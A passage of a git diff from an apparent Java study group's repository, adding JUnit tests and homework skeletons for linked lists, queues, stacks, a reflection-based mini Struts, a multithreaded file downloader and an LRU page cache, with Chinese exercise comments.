+        ll.subtract(list);
+        System.out.println("ll.toString-->" + ll);
+    }
+
+    @Test
+    public void testIntersection(){
+        LinkedList list = new LinkedList();
+        list.add(1);
+        list.add(2);
+        list.add(5);
+
+        LinkedList list2 = ll.intersection(list);
+        System.out.println(list2);
+    }
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java b/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java
new file mode 100644
index 0000000000..3db6d82e49
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/QueueTest.java
@@ -0,0 +1,50 @@
+package data_structure;
+
+import org.junit.Assert;
+import org.junit.Test;
+import basic.dataStructure.Queue;
+
+/**
+ * Created by macvi on 2017/4/4.
+ */
+public class QueueTest {
+
+    private Queue newQueue(){
+        Queue q = new Queue();
+        for(int i = 0; i < 13; i++){
+            q.enQueue(i + "");
+        }
+
+        return q;
+    }
+
+    @Test
+    public void testEnqueue(){
+        Queue q = newQueue();
+        q.enQueue(10 + "");
+        q.enQueue( "xxoo");
+        System.out.println("queue-->" + q.toString());
+    }
+
+    @Test
+    public void testSize(){
+        Queue q = newQueue();
+
+        Assert.assertEquals(13, q.size());
+    }
+
+    @Test
+    public void testDequeue(){
+        Queue q = newQueue();
+        Object obj = q.deQueue();
+
+        Assert.assertEquals("0", obj);
+    }
+
+    @Test
+    public void testIsEmpty(){
+        Queue q = newQueue();
+
+        Assert.assertEquals(false, q.isEmpty());
+    }
+}
diff --git a/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java b/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java
new file mode 100644
index 0000000000..b933b8b63e
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/data_structure/StackTest.java
@@ -0,0 +1,49 @@
+package data_structure;
+
+import org.junit.Assert;
+import org.junit.Test;
+import basic.dataStructure.Stack;
+
+/**
+ * Created by macvi on 2017/4/4.
+ */
+public class StackTest {
+
+    private Stack getStack(){
+        Stack s = new Stack();
+        for(int i = 0; i < 14; i ++){
+            s.push(i + "");
+        }
+
+        return s;
+    }
+
+    @Test
+    public void pushTest(){
+        Stack s = getStack();
+
+        System.out.println("stack-->" + s.toString());
+    }
+
+    @Test
+    public void testSize(){
+        Stack s = getStack();
+
+        Assert.assertEquals(14, s.size());
+    }
+
+    @Test
+    public void testPeek(){
+        Stack s = getStack();
+
+        Assert.assertEquals("13", s.peek());
+    }
+
+    @Test
+    public void testPop(){
+        Stack s = getStack();
+
+        Assert.assertEquals("13", s.pop());
+        Assert.assertEquals(13, s.size());
+    }
+}
diff --git a/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java b/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..0dc8536269
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/download/FileDownloaderTest.java
@@ -0,0 +1,54 @@
+package download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import thread.download.FileDownloader;
+import thread.download.api.ConnectionManager;
+import thread.download.api.DownloadListener;
+import thread.download.impl.ConnectionManagerImpl;
+
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "https://www.baidu.com/img/bd_logo1.png";
+		String fileLocation = "D:\\Tee\\JavaLearnin\\test.png";
+		FileDownloader downloader = new FileDownloader(url, fileLocation);
+
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+
+		downloader.setListener(new DownloadListener() {
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		downloader.execute();
+
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+	}
+
+}
diff --git a/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java b/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java
new file mode 100644
index 0000000000..4477c5f51b
--- /dev/null
+++ b/group24/75939388/learning2017/src/test/java/liteStruts/StrutsTest.java
@@ -0,0 +1,42 @@
+package liteStruts;
+
+import org.junit.Assert;
+import org.junit.Test;
+import basic.liteStruts.Struts;
+import basic.liteStruts.View;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group24/Homework/1-FirstWeek/ArrayList.java b/group24/Homework/1-FirstWeek/ArrayList.java
new file mode 100644
index 0000000000..4576c016af
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/ArrayList.java
@@ -0,0 +1,35 @@
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group24/Homework/1-FirstWeek/BinaryTreeNode.java b/group24/Homework/1-FirstWeek/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group24/Homework/1-FirstWeek/Iterator.java b/group24/Homework/1-FirstWeek/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group24/Homework/1-FirstWeek/LinkedList.java b/group24/Homework/1-FirstWeek/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/List.java b/group24/Homework/1-FirstWeek/List.java
similarity index 95%
rename from group27/513274874/data-structure/src/com/coding/basic/List.java
rename to group24/Homework/1-FirstWeek/List.java
index 396b1f6416..10d13b5832 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/List.java
+++ b/group24/Homework/1-FirstWeek/List.java
@@ -1,9 +1,9 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group24/Homework/1-FirstWeek/Queue.java b/group24/Homework/1-FirstWeek/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group24/Homework/1-FirstWeek/Stack.java b/group24/Homework/1-FirstWeek/Stack.java
new file mode 100644
index 0000000000..fedb243604
--- /dev/null
+++ b/group24/Homework/1-FirstWeek/Stack.java
@@ -0,0 +1,24 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group24/Homework/2-SecondWeek/litestruts/LoginAction.java b/group24/Homework/2-SecondWeek/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group24/Homework/2-SecondWeek/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group24/Homework/2-SecondWeek/litestruts/Struts.java b/group24/Homework/2-SecondWeek/litestruts/Struts.java
new file mode 100644
index 0000000000..85e2e22de3
--- /dev/null
+++ b/group24/Homework/2-SecondWeek/litestruts/Struts.java
@@ -0,0 +1,34 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java b/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group24/Homework/2-SecondWeek/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group24/Homework/2-SecondWeek/litestruts/View.java b/group24/Homework/2-SecondWeek/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group24/Homework/2-SecondWeek/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group24/Homework/3-ThirdWeek/LinkedList.java b/group24/Homework/3-ThirdWeek/LinkedList.java
new file mode 100644
index 0000000000..f4c7556a2e
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/LinkedList.java
@@ -0,0 +1,125 @@
+package com.coding.basic.linklist;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group24/Homework/3-ThirdWeek/download/DownloadThread.java b/group24/Homework/3-ThirdWeek/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group24/Homework/3-ThirdWeek/download/FileDownloader.java b/group24/Homework/3-ThirdWeek/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java b/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group24/Homework/3-ThirdWeek/download/api/Connection.java b/group24/Homework/3-ThirdWeek/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java b/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java b/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java b/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java b/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java b/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group24/Homework/4-FourWeek/LRUPageFrame.java b/group24/Homework/4-FourWeek/LRUPageFrame.java
new file mode 100644
index 0000000000..994a241a3d
--- /dev/null
+++ b/group24/Homework/4-FourWeek/LRUPageFrame.java
@@ -0,0 +1,57 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		
+	}
+	
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	
+
+}
diff --git a/group24/Homework/4-FourWeek/LRUPageFrameTest.java b/group24/Homework/4-FourWeek/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group24/Homework/4-FourWeek/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java b/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java
new file mode 100644
index 0000000000..55b4b70974
--- /dev/null
+++ b/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java	
@@ -0,0 +1,25 @@
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className)  {
+		
+		return null;	
+	}
+	
+	
+	public void addClassPath(String path) {
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		
+	}
+
+	
+
+	
+
+}
\ No newline at end of file
diff --git a/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..77f1b93eb8
--- /dev/null
